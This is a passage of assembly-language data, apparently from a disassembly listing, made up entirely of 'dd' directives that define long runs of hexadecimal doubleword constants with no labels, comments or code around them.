77007102h, 681670F9h, 12339B89h, 5FDBD84h, 0F07EC104h dd 9C15004h, 0FC5651E7h, 4C7C1AC8h, 0B010C078h, 0F97E094Ch dd 0E4E8C563h, 2D72601Fh, 0EE280074h, 0F8D71433h, 0EF0F7FE5h dd 0F39ADAD3h, 2C23282Fh, 9C02C517h, 6718577Ch, 6020E44Ch dd 70C8D98Ah, 687E0EC5h, 0CDE39D5Dh, 12B887BCh, 68C03052h dd 1AB53A7Bh, 14B04C42h, 0F186533Dh, 3892F6EBh, 8A724906h dd 1EF98BF4h, 8F03520Ch, 0A0D4E897h, 0C888CB4Ah, 0A94DC0FBh dd 3E0FEC53h, 819137EBh, 1F98C4FEh, 1282D424h, 5A1F192h dd 0A3ED5584h, 3023B278h, 0AF1DB94Fh, 0B682A0CAh, 429D87EFh dd 0C5C49A2h, 0DDA55410h, 45005770h, 9688FC82h, 1B427268h dd 9EA2086h, 94A643C2h, 0BF481041h, 8C1BE874h, 0E0D21C00h dd 5C8AC07Dh, 0E0F661B1h, 0E08105CFh, 449610B5h, 2445F828h dd 23F42F2Ah, 7D3D00F7h dd 56DBFFDDh, 80BC49DDh, 955453A2h, 904BFB74h, 5C0817E4h dd 4A0C501h, 5DD5FC0h, 0BC3AA07Ch, 0B4002423h, 80D0A60h dd 35940012h, 5CA67E6Dh, 0A41A9B23h, 0D860E0F3h, 8712004h dd 9588B90Bh, 10C08263h, 986B103Eh, 32EBC49Ah, 4BA10300h dd 98DB884Eh, 34A28392h, 30CE2B9Bh, 6D16FE20h, 18C214EDh dd 5854582Dh, 30239078h, 61BDDB01h, 0A828D070h, 0BDD2A8B0h dd 1D42D700h, 306E6636h, 7C480AEDh, 0A40C03h, 60E18AE5h dd 40B6A084h, 0F20D00DEh, 0B1F4CC7Eh, 1624F149h, 0E5413074h dd 4AE90285h, 0B6B59C43h, 0D1A0B118h, 0C118FDh, 9320E880h dd 71848940h, 100022E1h, 303EE413h, 0CE029917h, 0C021C840h dd 72B89010h, 0A2E8D900h, 0C511E0ABh, 6A2F1293h, 9C44D04Fh dd 0FC009625h, 0CD7AED5Bh, 119783Fh, 0BE4B24F8h, 0E4150DA5h dd 900D8C8h, 2EDBC149h, 9B944193h, 43267840h, 2F35321Ch dd 0AEE46500h, 97D10185h, 5880A8B7h, 3C95BB4Eh, 5AC90442h dd 90ED7C89h, 400F70A8h, 801448h, 0BE969FC3h, 1F3BD382h dd 24253D3Eh, 4467444h, 0B7722E03h, 74A80AF0h, 0E04DB89h dd 0F30D7C8Bh, 9E2228C7h, 94D4E059h, 86F6800Bh, 0C38068B9h dd 9D8882F8h, 0F2AA127Fh, 8BC49B1Dh, 0E4A802EBh, 0F3A80149h dd 162085E8h, 98C37A9Eh, 3A604B77h, 3437EA8h, 0C32F4800h dd 42EA1B5h, 0A8127099h, 0ADE10A4h, 0AC50E3Eh, 0B2730088h dd 2AA705FEh, 0E56C21C1h, 3300B46h, 0C79000D0h, 0C3402C35h dd 6300BAB4h, 55E6783Ah, 9DCF1E4h, 9109D85h, 84DB5479h dd 0F1BF1660h, 344F7802h, 74FD5C89h, 0ED9104E0h, 0F1B48C88h dd 0BA59F660h, 0E464CE47h, 12D048D2h, 0C7E70500h, 923F0225h dd 418B6309h, 70D0DB1Ch, 0EA02997Fh, 5B71127Dh, 5750C05Ah dd 40AE4F24h, 1DC0A6D4h, 0E6001817h, 0DA662D59h, 0BEB76336h dd 0D08E471Ch, 7B64CA33h, 58512500h, 0D484B0Ah, 0B5D4176Ah dd 7A6420A8h, 6E007E04h, 463424D9h, 430B6Fh, 0EEB85467h dd 4EAC5B8Dh, 7D63C30Bh, 0C4B465EAh, 0B4466019h, 0D94E03AAh dd 0F0EFDA7Fh, 0FAEBF100h, 94E9A793h, 0B8B3E0D5h, 84DF03C8h dd 9C0736B2h, 0ED2F65E0h, 0F7BC3Ah, 9F271177h, 0B0D87FC9h dd 0F679038Ch, 17281B98h, 0CE3B4AB0h, 223CA412h, 87740802h dd 0D3304A77h, 0C92E7054h, 0EBC77101h, 0D502D84h, 39781F10h dd 3828EC00h, 7EF151C5h, 50840516h, 17752C1h, 0D458E7CCh dd 0E4D8301Eh, 0DAD03050h, 77791F0Bh, 914497EAh, 317D8318h dd 90F4F8F2h, 702504B9h, 84365887h, 721C98E4h, 1C38BF19h dd 546C2018h, 58C2EBCh, 0CB3E111h, 92C4E481h, 443A416h dd 7F149C1Fh, 4E98000Ch, 0DA153EFCh, 89841244h, 3898100Dh dd 0F8EEF015h, 0EBA0200h, 8C412368h, 9DBBA891h, 384DE4h dd 3E12F234h, 17A495B2h, 286C0EFh, 2F659C40h, 0E0251611h dd 4A75023h, 53E53004h, 0B6E10EFAh, 0AD027715h, 3050107Ch dd 3A881F44h, 78FC6898h, 12AB38F0h, 144FD901h, 43F85BCFh dd 0A753DCh, 8509B37h, 3652E4FBh, 0EB482F16h, 0F87B9400h dd 1F0C002h, 294333F7h, 0D12303E9h, 0C0E645EAh, 2F3A1DCh dd 28BFD433h, 1821402Bh, 49E663DBh, 80A01BCFh, 0DC021CA8h dd 7218A664h, 4480C744h, 902B60F4h, 9CEF54F1h, 31AA0196h dd 0E6A30CCBh, 0D820203Ch, 652520BEh, 60F5E428h, 1C7E8C8Eh dd 6CB7E91Dh, 47D40838h, 0D8C58A3Dh, 0EA02B825h, 7429840Ch dd 24467CD4h, 0FE9E000h, 95F015D7h, 3065B53Ah, 0EC1DD9F1h dd 44A1008Eh, 1AA9AE56h, 0DB057F1Ch, 0C57DD980h, 11E7A488h dd 64D5830Ch, 0C460D688h, 91243C40h, 5C7098D3h, 0E9400BBCh dd 0F88FF895h, 0C8B766A4h, 0A51B883Ch, 0E0F008F4h, 0A7329497h dd 60F1C4ACh, 0A09678B1h, 8020ACD0h, 7362CD86h, 0F285F6C9h dd 95880C10h, 0A2782D20h, 6390AF00h, 19014516h, 0E80249E7h dd 2BFB3300h, 9331D3EDh, 87DD5F04h, 28B80B4Ch, 1E8C15BCh dd 2211905h, 0CD9A5BA6h, 82A8B093h, 310FC4B2h, 5349747Dh dd 30D51092h, 391740C5h, 0A0CBDB91h, 40BD5D02h, 1CE1570Ah dd 5880158Bh, 0B9F3233Ch, 482DB88h, 0EB9618h, 17B61B8h dd 0F87D7C21h, 6D3400BAh, 1CFC2848h, 8C14E8h, 1899BC44h dd 31F4BEEAh, 787C2497h, 80CCCC52h, 7C59D300h, 426A10C8h dd 4F4B003h, 0B791C441h, 830EC23h, 82CD748Bh, 59066C95h dd 96D58C60h, 70006348h, 0C0909889h, 0E8B6D6BCh, 1E4796A0h dd 88DC5B05h, 4CB8697Ch, 4F2A9901h, 0E426E8CCh, 0E4A571FEh dd 0C06020E4h, 0A50B5256h, 686D1762h, 4A742A10h, 1CC416B9h dd 37956200h, 90B300F0h, 0D5394E8Ah, 0FA576302h, 0F841747Ch dd 5EF89C64h, 8D3A2246h, 0FE6A5482h, 0A0769CECh, 0CB575F40h dd 88D90092h, 0F32688Ah, 28259EE8h, 4B54C02Bh, 9B5B84h dd 444E955Ch, 5575E5B7h, 80966D00h, 1FB0980Bh, 24209B6Ch dd 0F54674F0h, 32F82C00h, 206BB8A4h, 0EC7814B8h, 245C2084h dd 0DAF4A606h, 7A46F279h, 48174F39h, 71692A64h, 18F759CCh dd 3B200498h, 0A4A8598Dh, 0EE0006ECh, 839AE34Ah, 0C18E21h dd 5E49A1B9h, 22DB4C8Ch, 90D4A32Fh, 0BFF20Ch, 9CB7B36Ah dd 4405768Fh, 0A464921Ch, 3BD38B40h, 0C0EE6BC7h, 0CC1FA679h dd 771FBE95h, 0EC004BB9h, 7AA2CACh, 56D7EE0h, 848ADC67h dd 613CB0CDh, 547CC803h, 0C71591A0h, 50D08299h, 0AB80A1Ah dd 81107D62h, 4CE51CC3h, 2768343Ch, 928DF48h, 9D181799h dd 872E9168h, 8B02EE8Eh, 48BD8D5Ch, 95777860h, 957080Fh dd 68A9DD78h, 0D770E05Bh, 41877072h, 88284E35h, 0AA07C0F2h dd 89019C0Dh, 0F6A27E95h, 20A7DE58h, 83C7386Dh, 0F61B1840h dd 0D0965A09h, 588EF0BCh, 0C2A81160h, 2027B49Dh, 20C01DF3h dd 78DEB50h, 7C891566h, 9313BCADh, 68440928h, 0DB3810B0h dd 4B8AC010h, 702FC2E1h, 50C0CAAEh, 4E02D8C4h, 85E40690h dd 78011CADh, 848EC80Bh, 7EF840A1h, 116D0068h, 2CD47729h dd 0C2EC8CFh, 0A130DCD0h, 73BA86C9h, 0FB5C0013h, 80B4F24Eh dd 0A6FAE1E9h, 84127F4Fh, 0A06FC8E0h, 5AF5C7A4h, 92145371h dd 5F30B768h, 87DC132Ah, 90CB5Ch, 7C2A683Fh, 0BFF645h dd 0CAB9D851h, 50C4DEB5h, 8440084Bh, 5FF5567h, 0EC96350Ah dd 0CA6402B1h, 785C657Ch, 0A9456700h, 92578413h, 2F930040h dd 681566C3h, 0D34EC263h, 0C099D423h, 1E2B90h, 0B720D883h dd 795AF79Eh, 0F90938B8h, 0F993B291h, 18F879C8h, 72D0026Eh dd 0F170CE59h, 9F1D6844h, 461DC874h, 672F5A82h, 0A9B28042h dd 3F3A0D77h, 0A0F2AB86h, 7B94E8A4h, 20CB9C8h, 4FA44B30h dd 0D81C94D0h, 19D8AD99h, 5ABF1820h, 8C3CC0E0h, 0AC4F6395h dd 110B03Bh, 0ED0CC004h, 876ED7h, 0E99A72AAh, 48389F1Ah dd 34888094h, 16E81012h, 0ACE3E791h, 88332FB2h, 292AEFEAh dd 2594980Ah, 429A5490h, 8E1BE001h, 0A863091Ah, 13805E0h dd 0E84C0E5Eh, 2E2DCCB6h, 4BE6C4Eh, 0D0A86D7Ch, 0CB76304h dd 0EB902082h, 0D4379F27h, 0AAC0131Eh, 67225ACh, 0BB5402CCh dd 57F7491h, 0E3EAC4D8h, 5017DF2Ch, 60B2008h, 80093850h dd 3D16B60h, 1754993Ch, 12204CB2h, 0C2A4DA0Ch, 40406077h dd 0AD6A61h, 3792A2FBh, 7C8AB775h, 0B017412Eh, 3712142h dd 8C209D3h, 0D1B7F4A0h, 0FD05C320h, 50490A31h, 0D08CB4h dd 0B7DC46DFh, 0B113AEA3h dd 39F37600h, 5BCD63BAh, 8C6C4EDDh, 0B8208790h, 7231913h dd 6AE7611Ch, 261F286Eh, 3D468142h, 2DF0D98Fh, 0E54014F0h dd 0A60D04C3h, 74B9CE5Fh, 0C8788B92h, 1BAC025h, 0F502DF26h dd 157044C6h, 40E0543Fh, 1060CFBh, 40AF8601h, 3B2C8766h dd 88088E04h, 271CC3F4h, 255D9EC0h, 0E8840758h, 0D60CE304h dd 0FEEEA5E6h, 665E2000h, 8C8B56F6h, 92F8A8E1h, 25F8B03Fh dd 509DFBB5h, 1812C91h, 2E545A98h, 2765B862h, 843041B3h dd 0F41F6A33h, 0A9C70F00h, 0A86902Bh, 256C8F18h, 89A30194h dd 2EBAB4F6h, 84DDB848h, 0AC9F7490h, 51047CB0h, 55A19ED0h dd 672FD4F3h, 0C0888860h, 0B4A31B78h, 0A7421007h, 0B7C0CD1Ch dd 4E5BBCFh, 0BF10FA91h, 3E28F860h, 537205E6h, 1CFCE186h dd 297C0A82h, 0B881DA89h, 82F3B76Ch, 215C2A50h, 275CE814h dd 587F7D05h, 2F7A2851h, 68686C63h, 0F0E686FEh, 204BD709h dd 8B00A430h, 0DC015CA8h, 80F6E7D5h, 221879F2h, 0DF65011Fh dd 20F8E6EDh, 4859F155h, 0E8998484h, 498C8802h, 13A4F2E9h dd 4F97E7Bh, 413183B0h, 0CECFA490h, 64803088h, 75680640h dd 81702E84h, 9CAD095Ch, 0C7003858h, 0A06EB988h, 0C79993Bh dd 0F11FDBB6h, 74041751h, 0FED2C8B7h, 0F3C86C8Eh, 571F64C2h dd 87B95805h, 8C31B0E5h, 21F9F056h, 0A2702340h, 0EC9B3014h dd 4F202814h, 327680E0h, 2955266h, 8F70632Ch, 85A21A0h dd 2412D027h, 0DA602DA0h, 702D62BDh, 803465D8h, 2CBDD1A9h dd 0CFE8096Bh, 10CC1E5Ch, 0C1161505h, 9B4457FDh, 74498024h dd 9972D3DDh, 886080B0h, 90D28CE8h, 599C8D00h, 362AEACh dd 69D5019Eh, 489B53B9h, 0A493CC80h, 5CC0B34Ah, 9772BF28h dd 0C580CC35h, 48633F52h, 8C694A17h, 0F62FE2ECh, 65D0988Bh dd 1155633Ah, 58F1C2FFh, 3194C450h, 0E4E9BD28h, 1849AF5Bh dd 0DC7C560Ch, 906BCF00h, 692E9921h, 6F15269Bh, 0C0609F74h dd 0F2A5CD06h, 1025AD85h, 0DBB05132h, 0F81B0482h, 253DCF4h dd 843315C5h, 0B8501105h, 0E0CF742Fh, 0FAE83ACh, 0BD88B723h dd 0C00DFF8Eh, 0F1A6E308h, 24DB19C5h, 2CACCCE9h, 0E599CCE1h dd 66CF0919h, 2068BD88h, 0AFA49B04h, 844CB8E8h, 94B30485h dd 3CC0E8B7h, 27130757h, 0B4485064h, 5A00BAF8h, 25FF274h dd 4D397D0h, 548C1C71h, 304CB2C0h, 945F310Bh, 99C500BCh dd 0ECBE93F4h, 0E00A958Bh, 0F81DF2CEh, 0C3581ADEh, 9452E064h dd 209F7008h, 0F99A091Eh, 0FC7B7C51h, 466CCB60h, 6930702Ch dd 9AA5F802h, 0ADD0D91Fh, 0EB068C02h, 2CD95051h, 0F04B3B18h dd 595D3844h, 0D410C0FEh, 0D060A585h, 0DDD8C269h, 2A030C4h dd 0B3496810h, 0C9AE760Ah, 0E890487Dh, 65A5E921h, 602F6470h dd 2F7BD8A7h, 44307DDFh, 69897781h, 1BA8086Ah, 4674B048h dd 0D75F1C04h, 0E309E080h, 95523CFh, 0E18AE69Ah, 0FE782071h dd 2F718603h, 0A8D8BE29h, 83150A81h, 122F4874h, 7EE03A60h dd 7728028Ch, 0C7E683F9h, 0BCAE8C3h, 0D4A9F104h, 1F7FB400h dd 0AC15BC9Dh, 0E340FB00h, 0CAA57E1Eh, 2008B857h, 0E21ADE17h dd 9109D87h, 697C72ACh, 0F4564958h, 7E4405DCh, 4028A888h dd 19159CE4h, 657822F1h, 32960700h, 0B2C175AAh, 908B62CDh dd 4D0BF7EBh, 0EE66C07Ch, 0B804C4C3h, 0F6F55C88h, 836C4B02h dd 0E503E0D0h, 7BA25F55h, 0F76F16Fh, 76A418Bh, 53820020h dd 0C00289B3h, 2F877F6Eh, 0A7A890F0h, 1D7A00ADh, 0A3D17340h dd 0C8956B8Bh, 71D524E4h, 0C6784Bh, 3A6F6328h, 0CABAB5ACh dd 0F23D91Eh, 0C4B67792h, 0B14DECE0h, 0B008D605h, 6CE37212h dd 53301FA2h, 48CB00FBh, 654F5F22h, 89600CBDh, 0A430FFF9h dd 2C429797h, 9A40C87Ch, 5B04061Bh, 0D9A48831h, 0F33D190Eh dd 97AA60A2h, 0E2ABB9h, 0B6DF11F4h, 2EDD03D2h, 0A6A3C702h dd 4B727D01h, 0EE1FB810h, 891512E0h, 1C28E2FFh, 0F35ED468h dd 0EC7EFA00h, 972CD3DBh, 0E0859401h, 3239E5C1h, 84602E10h dd 9385808h, 8CE69A0Ah, 0BC04B270h, 0F0B5747Ch, 20EC68F8h dd 0EA553A8Ch, 10EE9F01h, 22EC3374h, 0BDBC0920h, 91DD028Ah dd 0D1385915h, 7EC11924h, 0F61AD1F4h, 8D7A25DFh, 5000AC64h dd 13E2B8C6h, 58FE3075h, 0A6036197h, 0F1B33B33h, 489329DEh dd 2E4A0578h, 8B483ABh, 880FE543h, 4B68F584h, 2D232C2Bh dd 5096CF05h, 0D30004F9h, 0EC816B2Eh, 0D01D4EC2h, 5CC4E5BBh dd 10B4FF45h, 0C5563C98h, 88A8D203h, 8100AC54h, 0EB66078h dd 4CB4F679h, 2B160CB9h, 31B4E406h, 0F0911C40h, 5C20B6E9h dd 0FE071E46h, 0F0316E45h, 73935A5Bh, 9E0A6F14h, 0B87898A4h dd 0A14A01C7h, 87727F3Fh, 4BC2828h, 2448A588h, 2C67002h dd 0A9D8DC9Bh, 31039242h, 32016DD6h, 4F9B88DDh, 687E0953h dd 0D450DCB8h, 0B00C6B24h, 4EDBC986h, 26E3E0Ch, 1BB499Dh dd 9C06D6F7h, 0EDA47D94h, 13773FCh, 0DFDC287h, 7D6AD66Ch dd 0AE26037Ch, 0F07F7460h, 0ECA10711h, 0C24100CFh, 0A0B938EDh dd 320710DBh, 3F0B1C80h, 8B155070h, 335277Ch, 0F4C8B4ABh dd 68119788h, 0DA1C0F50h, 395280CAh, 0B77FBE09h, 8818F8F8h dd 8B5087CDh, 19113074h, 0AF7C0748h, 0E9125CB6h, 93AC88A9h dd 84F8393Fh, 3D9CBF70h, 1313A0BCh, 700A14A4h, 0D1A2BC00h dd 9DC20EFAh, 0A4A920B9h, 2018FCF9h, 7FE5C901h, 7E9D5BF3h dd 3B4C722Eh, 5F16EC72h, 1442D26Bh, 0D9619321h, 0ACE280C8h dd 22ADEC16h, 0A80EC900h, 21F4A402h, 0E7B10052h, 2ED95F93h dd 1212F348h, 50F25BFFh, 1D584BC8h, 1BCE26D4h, 292300DCh dd 28A742E8h, 0EFC81707h, 841EE719h, 50BCBF1Ah, 29B723C6h dd 20E80F34h, 2BBF1806h, 3333A49h, 6146A2Ch, 0E8694E8Dh dd 5C89270Bh, 78BC2081h, 0AB84B772h, 34A581C8h, 0C840017Fh dd 60895C28h, 1BB501BAh, 9D0A8054h, 6800F79Ch, 0A0749141h dd 0A587C517h, 4A6AACE4h, 0FFB490BFh, 0A0446B16h, 317C1D88h dd 446CA5F3h, 19820C15h, 359776B8h, 87F591E8h, 0FDC7BCE5h dd 5C27FE12h, 15A8636Ch, 80AE693Dh, 4C4129F3h, 19BE1DBh dd 0DEBCCB63h, 6C288F10h, 1EC21320h, 182579E8h, 34CD2C60h dd 97940B95h, 421B80Ch, 0F6EC6B80h, 984EB7Ch, 1B89548Bh dd 3569CC59h, 0B009809Ch, 0D26ECC29h, 18F495E4h, 5454EA90h dd 971310ECh, 50D73A2Ch, 0E22409F4h, 402B124h, 7A03F20Ch dd 0FE09270Fh, 7C199851h, 2610946Fh, 5E941118h, 0F4E3E420h dd 0AF28002Eh, 0EECCA96Dh, 5302C7E7h, 2DFC8925h, 0ED74C0C6h dd 34E89708h, 109AFE17h, 6DF3403h, 0CE9E87D8h, 0D0C09589h dd 35F37C93h, 7B5CC124h, 299BF440h, 16688808h, 88870D07h dd 172084E4h, 0F88E76F0h, 0B1A8D2A5h, 4C3E2EECh, 41001B23h dd 0A44AA8C8h, 7984258Bh, 0E46178E2h, 0E4226F2Bh, 6C710Ch dd 36A3620h, 991255B3h, 0F0F32D65h, 0A0BEF009h, 0E066D02Bh dd 0AE98F8C5h, 0AF805CE8h, 6B2F6CAh, 733DC0Eh, 0E94400AAh dd 94F01FC5h, 5E8D800Ch, 0EC4271D5h, 0CB49D900h, 246D2CC9h dd 0B58F0080h, 6396899Ch, 1E00D3C6h, 3AC39F7Eh, 0CB968h dd 51727DD0h, 95C86035h, 0D4A58617h, 372B88B1h, 0ECC421ACh dd 0CC223A2Ch, 0F8111F38h, 5951F80h, 0BC0B0F8Dh, 0A9838491h dd 44AC5934h, 0F4F23541h, 2030F4B2h, 299748Bh, 16E7EA5h dd 2357A796h, 0B8E6A258h, 9AC037h, 17CBCC5h, 71174088h dd 0B8C00754h, 86184900h dd 7D6839C1h, 58BA9DE6h, 0F379F0F1h, 8709E818h, 21304CCDh dd 2420B7E0h, 2409808h, 809F2770h, 95250072h, 32D042FCh dd 50147B40h, 563A3DE6h, 9F09129Ch, 0E5B8E490h, 2EC6FC85h dd 12108FB4h, 5BE8AC83h, 23F4C88h, 22430474h, 3CC0381Dh dd 6781FAF9h, 978A59C4h, 0D643C814h, 6C6A5Ah, 5962CEF5h dd 88105028h, 6EEE5A23h, 14F96600h, 1FDB54ACh, 793498B0h dd 0A47C8219h, 888D7643h, 36A079F2h, 49C216DFh, 0D8C0D834h dd 4C6EEBh, 0C9EB23Dh, 89BAA84h, 0E2CF6CDFh, 48817935h dd 7710127Fh, 860B7972h, 201C5495h, 0AEB6AC8h, 9B7D4B66h dd 5321C064h, 4AE8F64h, 9E01B0Eh, 6C3CB596h, 33EA8004h dd 38DA0C1Ah, 7C00DF8Ch, 0E05164B4h, 2A1C5B8Fh, 720941CAh dd 1740D143h, 0EF13F0F2h, 70B33C03h, 1FA5D79h, 0C4BEA31Ch dd 2E8F6354h, 60A2F824h, 1C3020F2h, 6372049Ah, 0C2E5CF55h dd 0CC56F050h, 0A82900BFh, 1F4C802Dh, 98900A9h, 9D591A8Fh dd 3A015618h, 7230F10Bh, 12F387Ah, 0EB912014h, 88A84E27h dd 607FC0F8h, 9E2599ABh, 9018D292h, 0F5A0Eh, 2A8159B4h dd 60D60B19h, 10DC508Bh, 11C0C004h, 96A93FAh, 957C894Dh dd 0E795A050h, 671A64CCh, 1091CD67h, 0ADC06F8Ah, 0D1284BBCh dd 465FA64h, 0F688548Eh, 0D6302DC0h, 3FB41D11h, 0F0E613C2h dd 0B84FBF99h, 2C7E14F0h, 74ACECD8h, 37011646h, 5CAD87C1h dd 5FB0800Ch, 6EC320D4h, 1C880F91h, 0A5C9010Bh, 0AF9030A8h dd 0F46064CDh, 461FEA2h, 78D830C7h, 10E4D475h, 9C16F0E0h dd 106C2114h, 95030722h, 418B6F4h, 69842AC7h, 792CC00Ch dd 9B268F74h, 3429C0B0h, 0FA18F7D1h, 87162B09h, 66B880CEh dd 0BC920A53h, 0D059A590h, 5CD18646h, 16C4780Ch, 8780B868h dd 0D2C471FCh, 9C0C098h, 0B3913840h, 588088E5h, 7DDF40B8h dd 0A5F1008Ah, 56369D92h, 2F5D8493h, 5A3A76BCh, 42E603D2h dd 889F668h, 726F0371h, 723465Eh, 531D6420h, 188E9A51h dd 4F188076h, 61276109h, 43E3DE00h, 94F26FB7h, 688D008Ch dd 0AEECB24Dh, 0F1123A3Ch, 0F8B80E73h, 0F6A210B3h, 16B48F01h dd 62CF0A00h, 3B135898h, 68F3157Dh, 0C73021A2h, 6C1B007Ah dd 0D4772860h, 21C029A6h, 5E081D70h, 1B6F00D1h, 0FBE647C6h dd 0A20B22F7h, 986D298Dh, 1907AECh, 2206F6Eh, 0D04195E4h dd 32E865D5h, 0D8C26A05h, 0C1A835h, 0C1A72578h, 7202DCD1h dd 5E2104BFh, 30517284h, 6181559h, 9112D472h, 30E01F74h dd 0B40B4A6Ah, 885872C4h, 8130FFFh, 0FA3E6085h, 539122F8h dd 1AE23C0Ch, 267130h, 97C7BD69h, 31F0A586h, 3A97C490h dd 0D480F680h, 160A7200h, 0C0921F19h, 6011629Fh, 0D1002114h dd 0B5CD9A7Ch, 30FC0C4Ah, 2769FEDCh, 0C8C40A8Ch, 4CB890F3h dd 4010A812h, 697CF70Ch, 9BE613C3h, 10AC7A5Ch, 6A11E61Bh dd 9F0A14D6h, 45680024h, 0C7D3269Ch, 0F6180C4Eh, 5629048Eh dd 5194A100h, 0E3D7FDECh, 58990F2Eh, 1B808CA8h, 0E09585DCh dd 3E30265Dh, 0E0792F32h, 26D8FC70h, 1C30203Fh, 0E5503004h dd 0E032955h, 0F0D0510Dh, 0ECD49C9Eh, 1A8190B8h, 8F1A7A4h dd 86F62D78h, 9DA89CCBh, 728023D4h, 27D03297h, 7D2040h dd 41932170h, 0FA9127E6h, 500BCF9h, 86C07B16h, 8E300003h dd 0A491241Ah, 0E495E01Fh, 8B38025Ch, 17FCD15Ch, 6838187Fh dd 0F0C13E51h, 9D85DA83h, 804A0E04h, 6021C020h, 0D223DD2h dd 0C3159300h, 0CEED87Dh, 0BCF3894Eh, 0FD974103h, 104C446Ah dd 0E1D625F8h, 0E18009ACh, 0D3BDC721h, 1CA87EA7h, 0E84EF671h dd 8023D0B0h, 9C209508h, 0CC71703h, 0F2FC258Ch, 37B50040h dd 88CC6973h, 2C94F74h, 636A79C4h, 38048655h, 0B28A5AC1h dd 8C9B096Ch, 42785EF7h, 7020E795h, 0C315FC97h, 0F2F09880h dd 0DF8190Eh, 7D0EA9BBh, 5D06D880h, 0A6047EA4h, 5063AEB7h dd 138EDC88h, 1241A754h, 0E0F8B688h, 2CC13953h, 1154AC75h dd 7C8A0506h, 0DC48EB49h, 645D80F3h, 21D1D3C9h, 0D2A5A20Eh dd 59029FDh, 48288C0h, 76C4C429h, 0EC718228h, 0B7D8A780h dd 48E80A07h, 6B1F56A3h, 0DEA00B7Bh, 0C05CC56h, 0BC222E81h dd 802F24F8h, 5F0E6045h, 770ED8FAh, 42FB3A89h, 0E036ECD0h dd 9704A0EBh, 61C040EDh, 17AC62Eh, 0F453C0ACh, 7C3FA492h dd 867F1CE8h, 946A9F13h, 5C071423h, 7270983Dh, 0A9247C9Fh dd 2510128Ch, 32003999h, 0F5617F2Ch, 0CBB9C330h, 0E4F10341h dd 6B18F679h, 2FA0F400h, 0F2BA6FE4h, 0D9CE02AEh, 0E7FE6C38h dd 5B4A40DAh, 0A3DFAC8Bh, 7FE68607h, 613B2242h, 0C711F57Ch dd 74326Ah, 8E59B39Dh, 13ADC8ACh, 0C8900BE2h, 0DF414FF4h dd 1931A441h, 0E5569900h, 0DA2D421Fh, 2CAC7B25h, 2C465C54h dd 9C196903h, 6800E953h, 72DA85D3h, 0CAD8FE1Ch, 4E888608h dd 2B371099h, 22C8208Bh, 36B8B4C1h, 7800F7Eh, 0FC0C09F3h dd 2364A867h, 49117260h, 0BD213A04h, 78F2FE0Fh, 9830AE00h dd 0E97570B3h, 330A2F04h, 0CE8A44Fh, 0E2B20A2h, 252208A0h dd 9807D879h, 403E3556h, 818C8ECFh, 93B0DCB4h, 73F8A376h dd 0A7636616h, 6E4C8420h, 6DA4008Fh, 7EC1565Dh, 3A3D5C72h dd 5A573893h, 0D890042h, 1C331018h, 18B59D84h, 9BDE020Ah dd 5C88092Dh, 2F253BCh, 4D7C0801h, 2F787CE7h, 0BCCE7DA6h dd 9E98172h, 23102B7Fh, 0CDDF0024h, 0E28EAE73h, 4C6A1609h dd 70245B78h, 3A039B3Bh, 0A7A27E97h, 5B73A0AEh, 0EBF92D7Fh dd 46008859h, 0E95849F3h, 392E16CBh, 29000225h, 345E675Ah dd 1402BD88h, 3964F4F6h, 0D608BD9Bh, 0C0A974BDh, 59123A3Bh dd 0B0BC3167h, 0B800B993h, 0C8564E59h, 0A600B530h, 3FC8B177h dd 38B20Ch, 0C3EE7869h, 87068A5h, 6771E32Dh, 60184408h dd 196BB51h, 32DF753Ah, 72BF7239h, 171F0BE8h, 8701067h dd 1FD1084h, 0FA2218h, 2E656CDBh, 0E21B63BBh, 0E5C55900h dd 777B152Ah, 50420296h, 0D0CF7943h, 0E600C88Fh, 837F9A55h dd 933C0307h, 5C49579Ch, 0D606DC84h, 2D8F981Ch, 152825B8h dd 0F681745Bh, 6C91B5B4h, 1FFC487Ch, 7CB20F8Ch, 0E0003F64h dd 6ACED4CAh, 92003C91h, 9452E911h, 0FE34079Fh, 0C936F10Bh dd 0F6F47CF6h, 90B90497h, 0AF1254B1h, 64A6B830h, 0C5D412ADh dd 270E244h, 0B588CD6Ah, 989A5767h, 0F4792451h, 0DA2EA918h dd 0A24160EFh, 0EE48EC9h, 4A8D0125h, 163A4440h, 0E2B84D70h dd 0C5699C5Ch, 6015E4E8h, 0C6828A6h, 92B8493h, 854FE348h dd 0D85770A2h, 6707909h, 0FC11909Dh, 0C0C64880h, 0F205CF13h dd 0CE41AB05h, 4A63B083h, 0BE8E678h, 21EB7491h, 1C418A14h dd 4BCE86Ch, 5AA0CE3h, 5EBCF4Eh, 3D1A810Ah, 0F087040h dd 2F709200h, 55E5B968h, 0D2E0EE3h, 2A21C2D0h, 40C16F6Ah dd 890B4CD8h, 89C55C27h, 607C5CC8h, 0F1518C8Ah, 700048B0h dd 3FE7365Bh, 0E33868h, 0D7351C12h, 0E86F06C6h, 78F31E4Ah dd 44792F27h, 20D8960Fh, 0C476E68Ah, 77F7989h, 9AE86957h dd 2784427Bh, 0EA5A50D0h, 0C8167C6Bh, 0D8B2AFh, 5C879FE1h dd 1473E486h, 8801F37Fh, 6FB9EB09h, 50EDE032h, 3BEF43C0h dd 37ECF3F0h, 7C110B60h, 0A0A1F423h, 0BE95Ch, 9B8CD79h dd 872E9B3Eh, 1745307Eh, 0F6EC5CF8h, 39A8008Ch, 328FFCA2h dd 81276D77h, 18E0495Ch, 6EF8CD3Ah, 901746Eh, 938490F0h dd 6A582002h, 0D3B1DB6Bh dd 112070A4h, 90B54104h, 3AAF67F0h, 0FC6BF568h, 10F54100h dd 7B265496h, 48E2B07Fh, 0F78427h, 0CCFFD3C0h, 8E1B764h dd 4CC76C6h, 5486F61Bh, 0BC975244h, 0EDA6A30Ch, 238C3BEBh dd 9D60716h, 346C6286h, 0AE27854h, 0F8117794h, 0D0822A5Dh dd 76C8DC2Ah, 80040121h, 0AE137C7Eh, 1A062022h, 5E0A586h dd 301A9750h, 84B7D7h, 6506D8D5h, 929FA61Fh, 67744068h dd 0F8040149h, 6B14C632h, 8139BEEDh, 4ED340BDh, 0DC83119h dd 0B87F03F7h, 9D931178h, 44C2A4E0h, 0B44CE495h, 2E465EFCh dd 807F7402h, 10D730D4h, 39FB00h, 5E870637h, 0DE781C0Bh dd 66281B00h, 0B7673A94h, 911F34E3h, 0F22CB214h, 8A2B30F2h dd 2A9741Ch, 7B0B5DC9h, 181B7990h, 0FA601E8Dh, 0BC7C9269h dd 61938298h, 4B585E89h, 0A0F66C62h, 1748C625h, 0BCB6EA78h dd 0C8E0807Ch, 9DDC818Ah, 21C450E7h, 698FA960h, 0AA464F13h dd 0F38030F8h, 0C02797E3h, 